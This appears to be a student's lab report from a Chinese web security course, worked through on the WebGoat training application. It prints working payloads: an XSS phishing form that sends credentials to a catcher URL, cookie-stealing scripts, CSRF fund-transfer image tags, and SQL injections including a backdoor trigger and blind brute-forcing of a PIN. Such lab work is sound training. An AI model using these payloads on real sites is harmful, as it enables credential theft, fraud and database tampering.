• 20145305 《网络对抗》Web安全基础实践


    实践过程及结果截图

    Phishing with XSS

    在文本框里面写一个钓鱼网站代码就可以了

    </form>
      <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br>
    <br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    

    Stored XSS Attakcs

    这里相当于是给用户发一个信息,用户在打开这个信息的时候触发了隐藏在信息里面js代码,然后被盗走了cookies。

    我们构造语句:

    <script>alert(document.cookie);</script>
    

    Reflected XSS Attacks

    可以在此处构造js语言得到cookies

    <SCRIPT>alert(document.cookie);</SCRIPT>
    

    Cross Site Request Forgery (CSRF)

    这个实践是利用cookie冒名登录,用代码伪造请求

    在message里面输入 就会发出一个转钱的请求,盗取钱财。

    <img src=' attack?Screen=自己网站的scr &menu=自己网站的menu &transferFunds=转钱数额 ' width='1' height='1'>
    

    CSRF Prompt By-Pass

    这个就是利用CSRF进行冒名操作转账,填入message的代码如下:

    <img src='attack?Screen=271&menu=900&transferFunds=5000' width='1' height='1'>
    
    <img src='attack?Screen=271&menu=900&transferFunds=CONFIRM' width='1' height='1'>
    

    Log Spoofing

    利用换行符伪造一个假的日志信息,欺骗人眼

    String SQL Injection

    这个就是之前网页sql注入的方法,在输入名字那里构造永真式,输入'or 1='1

    Database Backdoors

    第一步,通过输入101; update employee set salary=70000来给id为101的人改工资

    第二步:留一个后门,让所有新用户的邮箱都是我的,工资都邮到我这里

    101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='xiejialing@qq.com' WHERE userid = NEW.userid
    

    Blind Numeric SQL Injection

    我们知道一个cc_number=1111222233334444,但是想知道其pin在pins表里的值,可以使用盲注进行爆破,输入

    101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
    

    然后使用BP进行拦截,拦截后action--send to intruder进行爆破,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1,时间会很久

    可以发现返回报文的长度从2364开始改变了,所以尝试用2364进行请求,返回成功.那么其pin就为2364,输入2364,成功!

    Blind String SQL Injection

    跟上面的那个盲注入类似,猜测cc_number='4321432143214321'的用户名,使用了SQL里的SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样:

    101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
    

    因为有两个爆破点,一个是SubString函数的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破

    爆破点1 是1-10 10个可能性

    爆破点2 是a-z和A-Z 52个可能性

    数字代表后门字母在用户名中的位置

    基础问题回答

    (1)SQL注入攻击原理,如何防御

    攻击原理:通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的组合,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数

    据,致使非法数据侵入系统

    防御:利用输入规则限制进行防御,不允许特殊字符输入

    (2)XSS攻击的原理,如何防御

    攻击原理:是一种网站应用程序的安全漏洞攻击,是代码注入的一种

    防御:对用户输入的数据进行合法性验证,对输入参数进行过滤,与可执行代码、特殊字符相关的不允许通过

    (3)CSRF攻击原理,如何防御

    攻击原理:对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站

    防御:定时清理COOKIE,尽量避免访问危险网站

    实践总结与体会

    最后一次实验了,完美

  • 相关阅读:
    HTML5中的Range对象的研究
    浅谈移动端开发页面
    你所不了解的javascript操作DOM的细节知识点(一)
    理解Javascript的动态语言特性
    webview与JS的交互
    javascript客户端检测技术
    逐渐深入地理解Ajax
    html5获取地理位置信息API
    Javascript中的Form表单知识点总结
    go语言基础之不同目录
  • 原文地址:https://www.cnblogs.com/summerharper/p/6857747.html
Copyright © 2020-2023  润新知